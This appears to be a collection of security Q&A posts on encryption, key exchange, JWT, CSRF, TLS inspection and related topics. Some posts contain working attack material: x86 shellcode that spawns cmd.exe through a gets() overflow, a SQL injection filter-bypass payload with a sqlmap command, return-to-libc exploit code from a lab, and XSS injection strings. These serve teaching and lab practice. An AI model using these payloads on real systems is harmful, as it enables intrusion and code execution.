Wikipedia is a good example sinces it uses end-to-end TLS encryption, there are many more and worse examples, specially in cases where the data is transmitted in cleartext. In such cases, the attacker has also the ability to control your network traffic.

Lets take an example: You sign in to example.com with your password and one-time-password. The attacker (who is in the middle) stops the data packet that contains one-time-password and uses it to sign in on his computer. But he also sends a random one-time-password to the server, so you get an error and have to ask for a new one-time-password.


Can we trust onetimesecret? Alice: I need the file

Bob: Sure, and I want to encrypt it first. Please put the strong PGP symmetric key with the copy&paste method to https://onetimesecret.com/ and send me the link.

Alice. Done, the URL is xxxxxxxx

Bob: Very funny, the link is empty.

Alice: I know, it was only a test if i can trust you ... Here the correct one, xxxxxxxx

Bob: Thank you very much. Did you have seen in the last Big Brother UK episode, the scene with the haircut?

Alice: I have what?

Bob: Malika has used a clipper in a comfortable way ...

Alice: Hmm.

Bob: Forget it, here the e-mail attachment, strongly encrypted with the AES128 algorithm. Have fun.

Alice: Thanks, too. You're welcome. Bye

Alice and Bob have used a service between them to exchange a password. The first look is, that they have done all right. But they have to trust the website onetimesecret. If the attacker owns the website, he knows the PGP symmetric key too. What is the better alternative to exchange a key?

Key exchange is routinely done without using external services, by using cryptography. The most popular key exchange algorithm is Diffie-Hellman.

Quoting Wikipedia:

  The Diffie–Hellman key exchange method allows two parties that have no prior knowledge of each other to jointly establish a shared secret key over an insecure channel.

If you use Diffie-Hellman, don't use the anonymous version, but either fixed or ephemeral DH. See this answer.

Clearly, don't roll your own cryptography for anything real (i.e. outside of self study). Use something like OpenSSL for that.


hiding javascript in image I have read a post in thehackernews and searched the net to find how it worked.

How can anyone add javascript in an image such that when the image is displayed it can run a script.

Can this be done with other languages?

In the article you linked to, the Javascript code is not being included inside the image file itself per se, it's manifesting within the HTML page that references the image. Untrusted input is being returned inside the image tag without sufficient validation or sanitisation. This is persistent cross-site scripting since the malicious input is being returned every time someone views the page that includes this image (i.e. it's probably stored in the database as part of the user's profile).

Conventionally, the HTML markup to include a profile picture might look something like this:

However, it has to be different for each user, so the application code that generates it might look something like this (example is PHP):

<img src="/<?=$imagename?>">

So if the user Alice uploaded alicespic.jpg, users would see that image when they visited her profile, for example. However, this is where the vulnerability can occur, if the image name is not properly validated or sanitised.

For example, if Mallory could set her profile's image name to inncoent.jpg" onload="alert(1), the following HTML markup would be generated:

Utilising the onload event means that the arbitrary script will be executed once the image has finished loading. Essentially, this Javascript code will be executed every time someone views the affected profile, but it will run inside their browser.

This would not occur if the developer only allowed safe characters to be included inside the image name.


Identifying stream cipher algorithm based on encrypted content Is it possible to identify the algorithm used for the stream cipher based upon analysis of an encrypted stream?

As usual: if the encryption is any good, then its output is indistinguishable from randomness (indeed, a cryptographically secure PRNG is really the same thing as a stream cipher using the "initial seed" as key, and encrypting a long sequence of zeros). In particular, a specific algorithm cannot be identified.

For identification, look for context. The used algorithm, in any system, is not usually a secret; Auguste Kerckhoffs has famously explained that indeed a "secret algorithm" is not a sane foundation for secrecy, and the algorithm can and even should be made public. Therefore, many communication protocols include fields which make explicit the used algorithm; this makes such protocol potentially upgradable to new algorithms in a backward-compatible way (this is called algorithm agility). For instance, in SSL/TLS, the set of algorithms is stated plainly, unencrypted, in the ServerHello message, so everybody (including any eavesdropper) perfectly knows what encryption algorithm is used.

Similarly, if encryption is applied, then it is done in two places (the sender and the receiver), both involving a tangible incarnation of the algorithm. In shorter words, there is some software that does the encryption and the decryption. Software is highly susceptible to reverse engineering and the algorithm can thus be identified.

The RC4 stream cipher is widely used as a stream cipher (it is the stream cipher supported by SSL, for instance), and it has biases. Cryptographically speaking, it is "broken", albeit not sufficiently to turn the bias into actual attacks in most practical situations. You may be able to exploit such biases into an algorithm identification, especially if you can make it so that the unknown encryption system processes a lot of bytes that you know (you need to be able to make the system encrypt or decrypt bytes that you know, and observe the result). See the Wikipedia page for pointers.


Is using Gmail App over Web Gmail more safe? Is using Web Gmail over Gmail App is more safe, for example, see following options:

Android Google Chrome or Android App
Windows Google Chrome or Windows Universal App
MacOS Safari or MacOS App Store Application
iOS Safari or iOS App Store Application
Linux Google Chrome or Linux Desktop App?

Would that be true for other applications assuming that each app would store it's data in its own directory and use standard sandbox (on Linux there are more, on Windows mainly Universal Apps)?

For example, Google Maps for Linux is built using Epiphany which is using its own folder, and the sandbox can be added no problem.

This is to investigate if doing dedicated app for e.g. Windows, Linux, MacOS platform would provide more security over web browser, for example Banking Application.

It depends on what you mean by security... As soon an you use a dedicated mail application, you keep a copy of the messages on the local client. Said differently, you add an element on the chain and the global security of a chain is the one of its weakest element.

That being said, the security server side is just a username+password. So having a local copy does not really add weakeness, except for the physical security question. If you have a desktop in a correctly protected building, the question of a physical theft of mail is likely to be less important than the question of a physical intrusion. If you use a phone or a desktop that you carry with you, the risk of a physical theft is much higher, and you should considere using full disk encryption.

For the more general question, the response could vary. But anyway a multi tier application should have at least a presentation layer (web or app), a business layer and persistence layer. The business  and persistence layer should be server side, and the kernel of the authorization rules should be implemented server side on the service layer. The authentication should be the same, and the protocol between client and server should use same level of protection (TLS or SSL) with server certificate and client authentication, so as for the mail, the main question will be the security of local data.

An do not forget, the weakest element on a security chain is often the user itself: the strongest password will not be able to protect your account if is is written on a postit at the bottom of the screen. The password container of most browser can be a major risk if it is not itself password protected, and the same rule applies to rich client applications.


Does rngd -r /path/to/file inject into /dev/urandom in addition to /dev/random? I'm new to the /dev/random and /dev/urandom pipes in general and have an application calling from /dev/urandom which I'm attempting to inject entropy into.  I'd prefer not to change the source for this application, but an additional process calling rngd -r /path/to/file from what I can tell appears to inject entropy into /dev/random and increment the size such that it can unblock.

Now my question is: will rngd -r /path/to/file inject into /dev/urandom in parallel to /dev/random or is it limited to /dev/random?

If the answer is no, is there a similar utility which will inject into /dev/urandom - or even better - prepend bits to it such that the machine's PRNG is bypassed with the random entropy entirely in userland?

On Linux at least, /dev/random and /dev/urandom are basically the same thing; more specifically they are both interfaces to the same internal RNG, called the Linux Random Number Generator (LRNG), that share an input entropy pool; the only difference between them is whether or not they block when the LRNG is at low entropy.

According to the man page for /dev/random:

  Writing to /dev/random or /dev/urandom will update the entropy pool with the data written,

On the diagrams below, writing to either device from user space will go into the main input entropy pool that is shared by both output interfaces. (article).

In the current LRNG design, /dev/random/ and /dev/urandom each have their own output entropy pool and entropy counter:

There is also a 2020 paper by Stephan Müller (the linux kernel dev who maintains the LRNG) that brings /dev/random and /dev/urandom even closer by having them also share the same output pool (source article):

Summary: Yes, rngd is adding entropy to both /dev/random and /dev/urandom.


Stack buffer overflow exploit stacking characters? I have a program like this:

int main() {
   char buffer[16];
   printf("Write something: ");
   gets(buffer);
   printf("You wrote: %s\n", buffer);
   return 0;
}

And I have wrote a little bytecode payload, that should launch cmd.exe via WinExec,

ADD ESP -80      ; 83 C4 80, at 0x0019FF28
XOR EDX, EDX     ; 31 D2
PUSH EDX         ; 52
PUSH 'd'         ; 6A 64
PUSH 'm'         ; 6A 6D
PUSH 'c'         ; 6A 63
PUSH  1          ; 6A 01
NOP              ; 90
CALL F0 F7 77 74 ; E8 F0 F7 77 74 = WinExec (0x7477F7F0)
28 FF 19         ; 28 FF 19 <-- this should be a new return address

So it will fail to execute the code, which is wrong. Any idea how to tweak the code or any idea what should I incorporate into code? And I am not sure whether pushing characters onto stack is also valid.
(And yes, it's only a demonstration)

This is what I've came up with:

63 6D 64       ; "cmd"  <-- 0x19FF28
20             ; \0x14
31 C0          ; XOR EAX, EAX <-- 0x19FF2C
8D 1C E4       ; LEA EBX, [ESP]
88 43 03       ; MOV BYTE PTR DS:[EBX+4], AL
40             ; INC EAX
53             ; PUSH EBX
50             ; PUSH EAX (inc)
E8 74 77 F7 F0 ; CALL 74 77 F7 F0
19 FF 2C       ; jump back to 0x19FF2C

Takes up 23 bytes, however it needs a tweak on address, where it jumps.


Sqlmap doesn't exploit verified SQL injection Right now I'm tinkering with the Hackxor VM (a pentesting training enviroment)  and I'm trying to use sqlmap to exploit a vulnerability which I can exploit manually.

The vulnerability is in the cookie header 'userid' parameter. The application implements some SQLi filter to block spaces and some SQL keywords so you have to convolute a bit the payload.

I can successfuly exploit the vulnerability injecting the following payload in the mentioned 'userid' parameter with an HTTP proxy:

71934/**/unUNIONion/**/seSELECTlect/**/*/**/from/**/users

Then I tried to replicate the injection with sqlmap to no success with the following command:

sqlmap -u "http://cloaknet:8080/proxypanel.jsp" --cookie="JSESSIONID=CA97BAFA78E01D237B86278E9DFE12C3; userid=71934" -p "userid" --level 5 --tamper "nonrecursivereplacement.py,space2comment.py" --sql-query="71934 UNION SELECT * from users"

I expected sqlmap to inject only the given query and return a successful exploit, but sqlmap tries a lot of queries and at the end returns the 'userid' parameter not being vulnerable.

What am I doing wrong?

I actually ran into a similar issue. I though my syntax was correct and I still don't know where I went wrong but I was able to use the -r flag and feed sqlmap a captured HTTP header as a parameter. Once I did this sqlmap identified the field as vulnerable (which I already knew it was) and acted as I initially thought it would.

SQLmap POST parameter 'txtLoginID' is not injectable

Hope this helps!


Protecting the BIOS from malware The BIOS operates at a lower level than the OS, so antivirus software cannot scan it.

Is there any other security software that we should use to protect the BIOS?

I would suggest that you look into the direction of Trusted Computing. It won't "defend" you, but it might help you ensure that you are booting in a known/secure environment.

There is a load of information available here, just search for TXT and trusted computing.

But for starters, you can ensure this by using a platform with a TPM and Intel TXT, then go a step further by protecting yourself from evil-maid attacks using something like
tboot.

You can also run chipsec on your platform, to run an assessment of your platform. Chipsec is well presented in those 2 presentations:

Platform Security Assessmentwith CHIPSEC
CHIPSEC Platform Security Assessment Framework


How to find buffer offset for Return to Libc Attack I am trying to find the buffer for where the implement my buffer overflow  attack

The lab link is also here: https://seedsecuritylabs.org/Labs_16.04/PDF/Return_to_Libc.pdf

How I find X Y Z in a Return To libc attack with a buffer of 150?
this is the exploit code that was given to us, I already found the addresses that the buffers need to write to but, I just need the X Y Z:

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv) {

    char buf[40];
    FILE *badfile;
    badfile = fopen("./badfile", "w");

/* You need to decide the addresses and the values for X, Y, Z. The order of the following three
statements does not imply the order of X, Y, Z. Actually, we intentionally scrambled the order. */

    *(long *) &buf[X] = 0xbffffdd4; // /bin/sh

    *(long *) &buf[Y] = 0xb7e42da0; // system()

    *(long *) &buf[Z] = 0xb7e369d0; // exit()

    fwrite(buf, sizeof(buf), 1, badfile);

    fclose(badfile);

}

This is also the vulnerable program that was given to us:

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

/* Changing this size will change the layout of the stack. * Instructors can change this value each
year, so students * won’t be able to use the solutions from the past. * Suggested value: between 0
and 200 (cannot exceed 300, or * the program won’t have a buffer-overflow problem). */

#ifndef BUF_SIZE
#define BUF_SIZE 150
#endif

int bof(FILE *badfile) {

    char buffer[BUF_SIZE];

    /* The following statement has a buffer overflow problem */ fread(buffer, sizeof(char), 300,
    badfile);

    return 1;

}

int main(int argc, char **argv) {

    FILE *badfile;

    /* Change the size of the dummy array to randomize the parameters for this lab. Need to use the array
    at least once */

    char dummy[BUF_SIZE*5]; memset(dummy, 0, BUF_SIZE*5);

    badfile = fopen("badfile", "r");

    bof(badfile);

    printf("Returned Properly\n");

    fclose(badfile);

    return 1;

}

A simple way to do this is by using an input of the following form
'a'*BUFF_SIZE + 'qwertyuiopasdfghjklzxcvbnm'. The return address will be overwritten by 4(Assuming 32 bit system) consecutive characters from this string. Run your program with this input and it will naturally give a segmentation fault. Use dmesg | tail to find the address where it jumped. Say that came out to be zlkj. So now you have the offset. Just replace jklz with the address where you want to jump. Be sure to take care of endianness while replacing the address.


Is it compulsory to have https on e-commerce site? I saw that some e-commerce scripts can also run without ssl, but everyone recommends to activate it to protect sensitive data.

I just saw a site that has an e-shop link, if i click it my browser says that the security certificate is not reliable, and in fact if i click on "continue to the site" it switches to http.

Is it compulsory to activate ssl on a shop?

If you don't use HTTPS, but plain HTTP, then:

You will get hacked; credit card numbers will be stolen while in transit, and customers will sue you into oblivion.
You would be hacked anyway at some point, that's the lot of Web sites. Even if the hacker entered by some other way, post-mortem analysis will show the lack of SSL, and this will look real bad.
You will lose customers. Many potential customers won't enter their credit card number, for lack of the reassuring padlock picture; they will instead shop at a competitor's Web site.

So you are not mandated by Law to use HTTPS, but if you do not, your business will fail. Open business competition is quite akin to Darwinian selection: the weak dies.

Edit: @XzKto's comment shows that I have not been completely clear: the SSL bit is needed for the actual transaction, when banking values (e.g. credit card numbers) travel over the Internet. That's the one I am talking about. If the site records payment details (so that you can come back and buy again without reentering the credit card number), then the "buy it now" button must also be SSL-protected (to avoid an attacker "clicking" on it in your name). The rest of the site needs not necessarily be SSL-protected, although site-wide SSL is still often a good idea (it is much simpler than trying to work out which parts of the site must be protected, and which parts can be left out).


Encoding an Address that contains a null byte in a payload I am working on an SEH exploit. the problem I am facing here that all POP/POP/RETN addresses end with null bytes, so everything placed after it gets corrupted.

Is it possible to use Metasploit Msfencode to encode the address of the POP/POP/RETN instructions its self to get over the problem of the null byte ?

The exploit structure is: (300 bytes of junk + nseh + seh + 3000 bytes of junk)

There is a Immunity Plugin mona.py,  developed by awesome guys at corelan.be . you can check  pop/pop/ret  combinations using that . Morever mona.py also provides with a skeleton to convert your exploit module to metasploit module hence porting it there .

Also  try   !mona  suggest to see the exploiting options after placing mona.py in Pycommands folder of immunity debugger . It might suggest you something else as well .

You can use msfencode but encoding will make payload longer and  300 bytes is too less .But you can try to see if it fits .

If non of the above works then you might have to do what Ditmar suggested .


Can I change the CSR of my SSL certificate? I have 2 SSL certificates that are generated and being used for our staging and development server.

However, we wish to change the roles of these two servers.

currently the staging server is using   example.com  domain and dev server is using dev.example.com  domain.

So after the switch, example.com will go to the current dev server and dev.example.com will go to the current staging server.

In this case, will the SSL still be valid or do I need to get a new one?

If you swap the certificate, private key and hostname on both your servers, you shouldn't notice a difference.


JKS is readable without providing a password I'm at that stage in application development where I'm forced to tinker with openssl and keytool again.  I was surprised to find that I could list and export certs from a JKS key store without entering a password (although it printed a nifty little warning).  So, I assume the sole purpose of the store password is to prevent illicit addition or replacement of certs and keys.  The password on the keypair is what really protects the private key.  Are these assumption correct?

The Password in the JKS file is used to protect the Private key file and also to maintain the integrity of the file. When your opening the file without password, you can able to export all certs but not the key and it will throw a warning as "integrity cannot be verified".
And one more to be clear as the cert contains public key which is accessible to global and so need to protect that with password.


Detected virus in pdf - should I be worried (CVE-2014-8449)? I downloaded a pdf earlier, and I was trying to send it to my friend, but gmail said that it detected a virus. So I ran it through virustotal.com and only 1 out of 56 scanners came up with a virus - ClamAV returned with "PDF.Exploit.CVE_2014_8449". None of the other 55 scanners came up with anything. I looked up CVE_2014_8449 and found this: "Integer overflow in Adobe Reader and Acrobat 10.x before 10.1.13 and 11.x before 11.0.10 on Windows and OS X allows attackers to execute arbitrary code via unspecified vectors".
I'm not sure what this means, and should I be worried about this even though only 1 of the 56 scanners found this? How can I tell if this is an actual problem? Should I just get rid of the pdf?

Thank you!

CVE-2014-8449 "Integer overflow in Adobe Reader and Acrobat 10.x
  before 10.1.13 and 11.x before 11.0.10 on Windows and OS X allows
  attackers to execute arbitrary code via unspecified vectors"

This means that it was possible to provide a malicious pdf that, when opened with Adobe Acrobat Reader (older than those versions, when they fixed the bug), the attacker could execute malicious code (such as downloading and executing a more-advanced virus).

So yes, it's a reason to be worried. Could it be a false positive? Maybe. I don't know the certainty of that rule. I would certainly not open such file with a vulnerable version (unless I was attempting to trigger the virus).

  Should I just get rid of the pdf?

Probably. Where does the pdf come from?


Free SSL Certificate when encryption is needed and not trust? My understanding is that SSL certificates are expensive because you are paying a 3rd party to vouch for your identity, and apparently the most secure form of trust is the trust you have to pay for. I'm guessing the trust you're getting is a way to show you're not a phishing website or something (even though I've seen very convincing SSL certificates on phishing websites).

Anyway, I have an API which just needs encrypted communication between a client and web server. I don't need the trust factor that $200-per-year certificates offer, because users aren't even using a web browser to use my API - they're using some code they've written themselves and the URL is hard-coded into their applications.

Unfortunately working with SSL certificates is tricky for most new developers (whom will be using my API) if the certificate is self-signed. Most programming frameworks will throw an exception if the untrusted certificate isn't imported, etc. It's too annoying and will drive developers away from my service. However, not encrypting traffic is just not an option.

All I need is for web traffic to be encrypted and for developers who use my API to not have to jump through hoops. The mechanism for doing encryption is free and open source, and I don't want to have to buy added 3-rd party "trust".

TLDR / Conclusion: Is there any way to generate a free SSL certificate that will be trusted by most programming frameworks? OR, are there any other options for secure communication over HTTP without a purchased SSL certificate?

You can try StartSSL who will issue you a free SSL certificate that will be trusted. I use one of their certificates on my blog and yes, it really is free. Their site doesn't have the best user interface admittedly, but if you can live with that, this sounds like your best option.


JWT: A solution to let the token expire after a certain time of inactivity? I have a stateless webapp that uses a JWT token. Eventually it will expire - which is OK, but I don't want it to expire while the user is working. Instead, I would like the token to expire after a certain time of inactivity.

Let's say my token is valid 60 minutes, Is it ok to send a new JWT on every request ? That way, as long as the user is working, his token will be renewed (as long as he makes a request per hour), but after more than an hour of inactivity, the token will expire.

I don't want to use stateful refresh tokens. A timer on the client's side would eventually delete the token as soon as it expires.

Am I missing a major flaw with this approach ? (except obvious performance impacts due to more frequent DB accesses)

JWTs are self-describing integrity checked tokens. They are not designed for the use-case you described. JWTs cannot be expired on demand, nor can their validity be extended.

What you can do with these tokens is issue new tokens, just like you described. This will not invalidate the old ones. You will end up generating lots of tokens which will expire by themselves.

  Am I missing a major flaw with this approach?

JWTs are not designed for a full-blown session management. They come with various tradeoffs. One of these is the inability to update them or expire them on-demand. The workaround you described works perfectly. I wrote a short post about session management, which should help you decide whether to make the tradeoffs.

In my opinion, you should probably move to the "classical" session management model. It supports idle timeouts and you also won't end up with lots of "sessions" (tokens).


What kind of hashing is generally used in log-in modules? Do operating systems hash the log-in password?
What hash function is used in Windows XP, 7, 8,Linux Ubuntu, Debian, MAC Lion OS X ,...?
Where should I look to know these security considerations of an operating system?
Also is any hash function used in motherboard master password?
How about websites that require log-in passwords? Does it depend on the language which they are written with?
Does hashing prevent from all timing side-channels? I mean can you address some broken log-in modules?
Thanks

What hash function is used in Windows XP, 7, 8,Linux Ubuntu, Debian, MAC Lion OS X ,...?

To answer the linux/unix (e.g., ubuntu, debian, os X) part of the question, the crypt hashing algorithm is typically used (but is configurable).  The standard is a salted (8 random alphanumeric character) hash that's key-strengthened about 5000 times using a simple cryptographic hash like sha256/sha512.  Again, this is configurable; e.g., see a previous question.

For various versions windows, they use LM Hash and/or NTLM hash which may be encrypted while the user is logged in.  See wikipedia for more details; I'm not a windows user.

  Also is any hash function used in motherboard master password?

The BIOS is interesting; its so easy to reset a BIOS (remove CMOS battery without say getting the password) and difficult to otherwise read information that I've never really bothered to see how passwords are stored.  According to this, sometimes they are just stored in plaintext, sometimes very weakly hashed using non-cryptographic hashing functions (like CRC-16 or a flawed implementation of it).

  What about websites?

Totally depends on the configuration of the backend of the website.  Sites I set up generally use bcrypt with strength factor (base-2 log rounds) of 12.

  Does hashing prevent all timing side-channels?

No.  Constant time string comparison of the stored hash to the hash of the inputted password prevents side-channel attacks.  This is not guaranteed in all applications.  I'm confident most linuxes have this implemented correctly; and some open-site websites and web frameworks definitely do this right.  For example,  reddit uses specifically the constant_time_compare used for comparing tokens as does django 1.3+, however django 1.2 used to use a simple string equality susceptible to timing-based attacks.  Granted timing attacks are much easier to do on a local application than over a network (where a few nanosecond difference from a quick timing fail is hard to discern from random variations in network speeds).


Dealing with OpenSSH CVE-2019-6109, CVE-2019-6110 & CVE-2019-6111 on CentOS 6 How are you dealing with the OpenSSH vulnerabilities CVE-2019-6109, CVE-2019-6110 & CVE-2019-6111 on CentOS 6 in a PCI server? OpenSSH doesn't seem to have a fix for this yet, but it fails Trustwave's vulnerability scans. I tried to dispute by showing a lock down of all outbound connections to unknown sources on port 22, but this was not considered sufficient mitigation.

We found https://sintonen.fi/advisories/scp-client-multiple-vulnerabilities.txt which has a few patches in the mitigation section. I used these against a fresh download of openssh-7.9p1. I had to do a minor edit to scp.c around hunk #9 for the patch as it looked like a partial hunk of this patch was already in place. I also had to ignore whitespace.

wget https://ftp3.usa.openbsd.org/pub/OpenBSD/OpenSSH/portable/openssh-7.9p1.tar.gz
wget https://sintonen.fi/advisories/scp-name-validator.patch
tar zxvf openssh-7.9p1.tar.gz
cd openssh-7.9p1
vim scp.c
patch -p1 --ignore-whitespace < scp-name-validator.patch

My change to scp.c removed line 1108 and replaced it with this. You can see why in the patch file at line 271. The Patch will replace this with the desired line.

if (*cp == '\0' || strchr(cp, '/') != NULL ||
  strcmp(cp, ".") == 0 || strcmp(cp, "..") == 0) {

Then ./configure --with-pam, make, make install or whatever you would usually do to upgrade you OpenSSH running version.


is every site without a CSRF token vulnerable to CSRF attack? I found a lot of popular sites not having crsf token in cookie header, does that mean all of these sites are vulnerable?

I tried to learn more about it and found there's something called CORS which protects it but I can't understand what is it.

Please share your methodology if possible, like what will you test for if you don't find a site with crsf token? how will you check if it has one or not?

The simple answer is “no”. Cross-Site Request Forgery (CSRF) tokens are a generalized defense against CSRF, but other conditions must be at play to be vulnerable. For example, the attacker needs to be able to predictably make a valid request to the site. There are also other design factors that can be used to mitigate against the threat of CSRF.

Auth/Session cookies tend to make attacks easier because they are submitted with any request to the domain regardless of whether the request came from the same origin site. Cross Origin Resource Sharing (CORS) helps prevent this by blocking cross-origin requests unless the site the request is being made against explicitly allows cross-origin requests. However, GET requests are usually allowed so long as they are not made via JavaScript, so sometimes a CSRF attack can sneak in by requesting content using an image tag.

Related to Auth Cookies... another mitigation against CSRF might be to submit the auth token as a header, rather than a cookie. This requires that your requests have the token added explicitly with each request, thus mitigating the risk of the browser automatically adding the authorization to requests not made by your own code. The token is usually stored in Local Storage for this, which can only be accessed from code that loads from the same domain as the code that saved it.

As mentioned above, to be vulnerable the malicious code needs to be able to predict how it needs to interact with the site to get a useful response. For example, if the site under attack were a bank, the malicious code needs to be able to determine the complete details of a request to transfer money to be able to do so. If the money transfer request assumes a default source account, this is much easier for the attacker to do since they won’t need to guess that information because the server assumed the user’s context by default.

That said, in most cases the attacker may be able to access quite a lot about the user from your site if they have enough time to play around with it from their own account. So assuming the attacker can’t do something because a cross-site request wouldn’t be successful in a single step would be folly. In the prior example, they would just need to make a request to get a list of the user’s accounts before they can make a request to transfer money.


How sending email from same domain cause third parties to receive cookies I recently read this https://meta.stackoverflow.com/questions/338332/is-email-from-do-not-replystackoverflow-email-legit

  If we'd add a CNAME to a third party under the stackoverflow.com
  domain, they'd receive all our users cookies, which some sites are OK
  with, but we aren't.

On the answer by m0sa it was said that using same domain as the website to send email would compromise the cookies to third parties. How is it so? And what is this CNAME?

CNAME is like a domain alias, for example if you make email.stackoverflow.com a CNAME pointing to evil.com, anyone trying to access email.stackoverflow.com would actually access whatever server evil.com is pointing to. However, as far as the browser is concerned, it still thinks it's accessing email.stackoverflow.com, and will happily send all cookies set by the root domain, which could include sensitive session tokens.

By using a totally different domain (instead of a subdomain) they mitigate this risk and prevent their third-party e-mail/newsletter provider from getting user's session cookies.

The browser could send cookies if the user either explicitly clicks any links to the subdomain or if the e-mail is in HTML format and links to resources on that domain like images.


How does ESET antivirus filter browser SSL/TLS traffic? Today I have got a call from end-user using Windows 10 when she is accessing our web server https site within Firefox browser's bookmark with the following error:

www.example.com uses an invalid security certificate
The certificate is not trusted because no issuer chain was provided.
Error code: sec_error_unknown_issuer

I have struggled to find out ESET antivirus program interference with SSL/TLS communication. I have disabled SSL/TLS protocol filtering in ESET program following official instructions: http://support.eset.com/kb3126/ After disabling SSL/TLS filtering in antivirus Firefox browser can access https site without any problem (it is nothing wrong with certificate or certificate chain).

It looks like antivirus is trying to get inside encrypted SSL/TLS traffic to find out if there is some malicious program in it and if it is it tries to block it.

What I would like to know how does antivirus really intercepts SSL/TLS traffic from technical point of view?

a) Tries to executed MiTM attack on SSL/TLS?

b) Looks for Firefox browser process and looks into its memory?

Something else? Some technical explanation would be great.

By the way on this web server there is only 443 port with https protocol enabled, port 80 with http protocol is disabled.
Thanks

Tries to executed MiTM attack on SSL/TLS?

Yes, that is the case. Antivirus and Firewalls do SSL inspection by being a man in the middle on the SSL connection. Since this causes warnings in the browser about unknown issuers they usually also deploy their proxy CA as trusted into the OS and browsers.

For a deeper technical explanation see the many question about this topic on this site, like Does a TLS interception proxy present the user's browser with the end server's certificate?
or Why is 'avast! Web/Mail Shield Root' listed as CA for google.com?


Purpose of integrity checking in installers There are many programs available (like NSIS) that generate installers from a collection of files. One thing that I have noticed is, the installers produced by these programs have some kind of integrity checking built into them.

For a moment I thought that this was perhaps meant not as a security measure, but only to protect against a corrupted download. But, if it's a corrupted download, the installer won't even run, since the resources section is mangled; and even if it runs, extraction of the compressed data will inevitably fail.

The integrity check is, then, perhaps meant as a security measure. However, I'm really in doubt regarding the effectiveness of such a measure. An attacker able to MITM the download could easily disable the integrity checking for purposes of trojanisation (if not serve an entirely different binary).

So why is such a security measure implemented at all?

The extraction of compressed data will not "inevitably" fail. Errors will often be detected, and that's because most compression formats already include checksums. Most, but not all. For instance, the DEFLATE compression algorithm, by itself, includes no checksum. Checksums are added at some external layer, e.g. when DEFLATE is used for a GZIP file (CRC32 is then used). An installer may decide to pack everything with a single general integrity check for the whole archive, thus avoiding such checksums on individual elements.

If you prefer, whenever a compression format includes a checksum, then that checksum is indeed an "integrity feature". Since bad RAM may flip a bit in the wrong position, some sort of checksum is a sane precaution when distributing software (I knew a CISCO router who was altering bits in IP packets for such a reason; TCP checksums did not always catch the problem, so any file longer than 12 megabytes or so was likely to be damaged when transferred through that router).

Checksums cannot protect against malicious alterations, because whoever does the modification can also recompute the corresponding checksum values. If you want an integrity check which works against attackers, then you need the heavy cannons, i.e. digital signatures.


simjacker: which SIMs are vulnerable? simjacker.com looks like a pretty serious security issue with SIM cards.  There's not much technical detail on their website though.  And it'd be nice to be able to already know which SIMs are vulnerable.

Unfortunately the S@T technical specification doesn't look very helpful to me.

Is there a simple way to know whether a SIM is vulnerable?

From the documentation, it's not the SIMs that are the concern, its if the carrier installs the S@T toolkit on it.

To detect the vulnerability, one would have to know how to detect the toolkit. [As of this writing, there appears to be no methods offered to the public to detect the toolkit]


Link shortener that virtualizes link for reflected XSS? I've been learning about XSS recently, and then I was trying to come up with ways to bypass anti-XSS filters in browsers. I though, "Maybe if you used a link shortener that virtualized your site!", similar to how a proxy site virtualizes pages, or W3Schools' Try It Editor (except it doesn't show code). The concept is that a link shortener would use a suspicious link and render the page into a virtualizer.

For example, Bob finds an XSS vulnerability in a site and shorten it into a shortened link; any shortened link less suspicious than https://vulnerable.com/<scRIPt>alert("XSSed!");</scriPT>. Bob would use the virtualizing URL shortener and put the above URL as the link and it would be virtualized into an <iframe> or something and not warn the user of malicious code and then send it to someone, who would then click on it.

Would this work to bypass XSS filters? Does a site like this already exist?

Ordinary URL shorterners are commonly used to hide the payload and make links look less suspisious. However, they do not help against the browsers XSS filters, since what an ordinary URL shorterner does is simply issuing a redirect.

You suggest an approach to bulding an URL shorterner that does bypass the browsers XSS filters using what you call virtualization instead of redirects.

The way to do this virtualization would be using an iframe. The only problem is that the browsers XSS filter will (probably) be protecting the iframe in the same way that it is protecting you when you enter a URL in the URL bar. So you don't win anything.

And using an iframe is the only way I can think of doing "virtualization" without running into the SOP. So I don't think this is a viable concept.


Encryption strength veracrypt vs keepass? can you please explain the strength of veracrypt and keepass compared?

Whats theoretically easier to break if both use the exact same password for their respective containers, the vcrypt or keepass file?
Are they both still considered in the dev community as "unbroken" and safe encryption tools for storing data? Or are there successful attacks publicly known? Do they currently have any known weaknesses in their code bases?
Lets say you have a Text.txt file. In one case this txt file is stored in the vcrypt container. And a second time in the keepass kdb as an attachement. Now, when you open both on your windows system  (mounting vcrypt and opening keepass kdb),  which one is in this "opened state" more vulnerable to what kind of attacks? Which one isolates .txt file in a better way? Here you can consider that you are connected to the Internet while those files are open and you can consider any other attacks.
In case of veracrypt: Is the file safety somehow decreased, when we start opening the text .txt file from within the vcrypt container? How does that impact potential unwanted file access?
what difference does it make in vcrypt selecting algorithms in different order? eg  serpent-aes  or aes-serpent. What impact does the order have on bruteforcing attacks?

Both products uses strong encryption, but there are a few fundamental differences in their designs.

Assuming that there's no big in the implementation, then Keepass has a slight advantage in its cipher mode, as it uses CBC while full disk encryption like Veracrypt used XTS/XEX to support random access.

Cipher mode like CBC that's used in Keepass means that it has to rewrite the entire encrypted database from scratch on every writes. CBC supports random reads but not random writes. For the use case of password managers, where the file size typically only range in the megabytes, this is fine, but a full disk encryption has to work with files in the size of gigabytes, terabytes, or even petabytes that is constantly updated.

For those reasons, XTS/XEX is used in full disk encryption to support fast random writes, it is the state of the art cipher mode for full disk encryption and is not known to be broken, but because it has to support random writes, it has a few weaknesses/tradeoffs and leakages that cipher modes that doesn't need to support random writes don't have. You can read further about the challenges with full disk encryption in "You Don't Want XTS".


What is the SPF domain value based on in DMARC aggregate reports? As I'm reading DMARC aggregate reports, I've come across a few records that have <auth_results><spf><domain> values that don't match the envelope from, header from, or source IP reverse DNS. My understanding was that SPF checks for an SPF record at the domain of the envelope MAIL FROM? Why are these other domains showing up in that field, and where are they from?

I've also noticed that most reports don't specify an envelope from in the indicators. Why? It seems to be required by the schema in the RFC:

<xs:complexType name="IdentifierType">
     <xs:all>
       <!-- The envelope recipient domain. -->
       <xs:element name="envelope_to" type="xs:string"
                   minOccurs="0"/>
       <!-- The RFC5321.MailFrom domain. -->
       <xs:element name="envelope_from" type="xs:string"
                   minOccurs="1"/>
       <!-- The RFC5322.From domain. -->
       <xs:element name="header_from" type="xs:string"
                   minOccurs="1"/>
     </xs:all>
   </xs:complexType>

Why are these other domains showing up in that field, and where are they from?

